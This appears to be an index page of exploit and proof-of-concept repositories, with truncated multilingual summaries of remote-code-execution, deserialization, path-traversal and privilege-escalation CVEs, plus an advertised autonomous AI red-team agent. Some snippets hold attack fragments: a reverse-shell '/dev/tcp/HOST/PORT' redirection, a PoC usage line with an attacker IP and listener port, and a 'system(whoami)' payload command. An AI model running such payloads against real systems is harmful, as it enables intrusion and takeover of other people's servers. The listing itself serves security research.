CVE-2020-14343-PyYAML

CVE-2020-14343 PyYAML — POC de la vulnérabilité de désérialisation Aperçu de la vulnérabilité Élément| Information ---|--- Numéro CVE| CVE-2020-14343 Composant affecté| PyYAML Exemple : python poc.py http://vulnerable-site.com 192.168.1.100 4444 Déroulement de l'attaque 1. Le script démarre un...

CVE-2023-20198

CVE-2023-20198 PoC d'exploitation pour CVE-2023-20198 Description CVE-2023-20198 est caractérisé par une validation de chemin incorrecte permettant de contourner le filtrage Nginx pour atteindre le point de terminaison web webuiwsmahttp sans nécessiter d'authentification. En contournant...

CVE-2018-14324-Exploit

Взлом Eclipse GlassFish - CVE-2018-14324 Описание CVE-2018-14324 не полностью объясняет влияние этой уязвимости. Кратко: у вас есть доступ к Java Management Extensions JMX через жестко закодированные учетные данные admin:admin. Хотя воздействие указано как «потенциально чувствительная информация,...

CVE-2026-33439-Poc

CVE-2026-33439 RCE pré-authentification dans OpenIdentityPlatform OpenAM via une désérialisation Java non sécurisée du paramètre jato.clientSession. Affecté & /dev/tcp/HOST/PORT 0&1' La sortie est aveugle. La requête se bloque jusqu'à ce que la commande se termine, donc le timing confirme...

CVE-2024-40110

نظام إدارة مزرعة الدواجن الإصدار 1.0 - استغلال تنفيذ الأوامر عن بعد RCE نوع الثغرة رفع ملفات غير موثوق دون مصادقة مع تنفيذ أوامر عن بعد الوصف يحتوي نظام إدارة مزرعة الدواجن الإصدار 1.0 على ثغرة أمنية حرجة في وظيفة رفع المنتجات. يفشل التطبيق في التحقق من صحة ملفات الرفع وتنقيتها بشكل صحيح، مما يسم...

CVE-2026-48732-poc

CVE-2026-48732: إثبات المفهوم PoC لحقن أوامر cwd عن بعد عبر SSH في Warp النسخة الإنجليزية نظرة عامة يُعد هذا المستودع إثبات المفهوم PoC للثغرة الأمنية عالية الخطورة CVE-2026-48732 ، وهي ثغرة من نوع حقن أوامر نظام التشغيل OS Command Injection موجودة في معالجة أوامر الخلفية التقليدية لـ SSH في تطبي...

CVE-2021-3560

Vulnérabilité Polkit - CVE-2021-3560 📕 Introduction En 2021, un chercheur nommé Kevin BackHouse a découvert une vulnérabilité d'élévation de privilèges dans l'utilitaire polkit. Cependant, toutes les versions de Linux ne sont pas vulnérables à polkit. Voici un exemple de version vulnérable ; Red...

CVE-2026-90817

CVE-2026-90817 — REDCap Survey Passthru + Data Import RCE Vérificateur Python 3 et hook d'exploit configurable pour CVE-2026-90817 Securifera / Ryan Wincey. | ---|--- Produit| REDCap Vanderbilt Affecté| ≥ 13.3.0 jusqu'au correctif de branche Corrigé| 16.0.49 LTS, 17.3.10 LTS, 17.4.4 Standard+ CVS...

CVE-2026-87902

CVE-2026-87902 — PoC: неаутентифицированный path traversal в разрешении page-template WordPress Файл эксплойта: exploitlocatetemplaterce.py — Python 3.6+ только stdlib. Пайплайн одной командой: безопасное обнаружение дифференциал LFI, без записи →, если уязвимо, RCE через гаджет pearcmd.php,...

CVE-2026-87902-PoC-pwnVader

CVE-2026-87902 — WordPress 코어 페이지 템플릿 해석에서의 비인증 로컬 파일 포함 → RCE 작성자: pwnVader · 라이선스: MIT 저장소 루트 | ---|--- 구성 요소| WordPress 코어 wp-includes/template.php 유형| CWE-98 — PHP 파일 포함 LFI → RCE 영향 대상| WordPress 7.1.2 7.0 브랜치는 7.0.6에서 수정됨; 6.x 백포트는 브랜치에 따라 다름 수정 버전| 7.1.2 / 7.0.6 CVE| CVE-2026-87902 — CVSS...

cve-2024-1708-connectwise_rce_reproduction

CVE-2024-1708 / CVE-2024-1709 — ConnectWise ScreenConnect : Contournement d'authentification et exécution de code à distance Score CVSS : 8.4 CVE-2024-1708 – 10.0 CVE-2024-1709 CWE : CWE-22 Traversée de chemin, CWE-288 Contournement d'authentification via un chemin alternatif Logiciel affecté :...

w3-total-cache-cve-2013-2010

w3-total-cache-cve-2013-2010 Exécution de code à distance sur W3 Total Cache cve 2013-2010 Utilisation : python3 w3tcrceexploit.py -u http://example.com -p "system'whoami';" Sortie : Ciblage : http://example.com + Charge utile envoyée avec succès. + Vérifiez l'exécution de la charge utile sur la...

React2Shell

🚀 R2S - إطار استغلال مكونات Next.js RSC إطار متقدم لاستغلال ما بعد الاختراق لمكونات React Server Components الخاصة بـ Next.js RCE الميزات • التثبيت • الاستخدام • الأوامر • أمثلة 📋 نظرة عامة R2S هو إطار استغلال واستغلال ما بعد الاختراق شامل يستهدف ثغرة مكونات React Server Components في Next.js...

Decepticon v1.2.2

Decepticon — Autonomous Red Team Agent "Another AI hacker? Let us guess — it runs nmap and writes a report." Commercial product demo ☁️ Don't want to self-host? Decepticon is live in the cloud. Skip the Docker setup — run autonomous red-team engagements right from your browser. Open-source CLI dem...

CVE-2021-24092

cve-id Faire un don Aidez à maintenir ce projet Si vous trouvez ce projet utile, pensez à soutenir sa maintenance continue via PayPal ou ABA Mobile. ❤️ Dix pour cent de votre don sera reversé à l'hôpital Kantha Bopha. ❤️ Dix pour cent de chaque don est reversé à l'hôpital pour enfants Kantha Bopha...

CVE-2021-3281

CVE-2021-3281 В файле django.utils.archive.py, строка 171, в классе TarArchive существует уязвимость Directory Traversal обход каталога. Вызов функции os.path.jointopath, name не проверяет параметр "name"; если кто-то использует эту утилиту на платформе Windows, возникает риск Directory Traversal...

Exploit for Argument Injection in Thecodingmachine Gotenberg

🔥 GOTENBERG RCE CHAIN CVE-2026-42589 + CVE-2026-40281 !...

React2Shell

@React2Hell — استغلال CVE-2025-55182 🔥 استغلال تنفيذ التعليمات البرمجية عن بُعد RCE لخادم Next.js / React █████▄ ▄▄▄▄▄ ▄▄▄ ▄▄▄▄ ▄▄▄▄▄▄ ████▄ ▄▄▄▄▄ ██ ██ ▄▄▄▄▄ ▄▄ ▄▄ ██▄▄██▄ ██▄▄ ██▀██ ██▀▀▀ ██ ▄██▀ ██▄▄ ██████ ██▄▄ ██ ██ ██ ██ ██▄▄▄ ██▀██ ▀████ ██ ███▄▄ ▄▄▄███ ██ ██ ██▄▄▄ ██▄▄▄ ██▄▄▄ MAGENTA...

CVE-2026-78306

CVE-2026-78306 — DJI Drone DUML Command Injection over Bluetooth POC CVE record: https://vulners.com/cve/CVE-2026-78306 NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-78306 Description DJI drones expose a Bluetooth interface used to establish a connection to the drone's Wi-Fi interface and exchan...

react-ssr-vulnerability

CVE-2025-55182 - POC RCE pour React Server Components Ceci est un POC destiné uniquement à des fins éducatives et de recherche en sécurité. Cette vulnérabilité a été corrigée dans les dernières versions des paquets concernés. Utilisez cet outil uniquement sur des systèmes que vous possédez ou pou...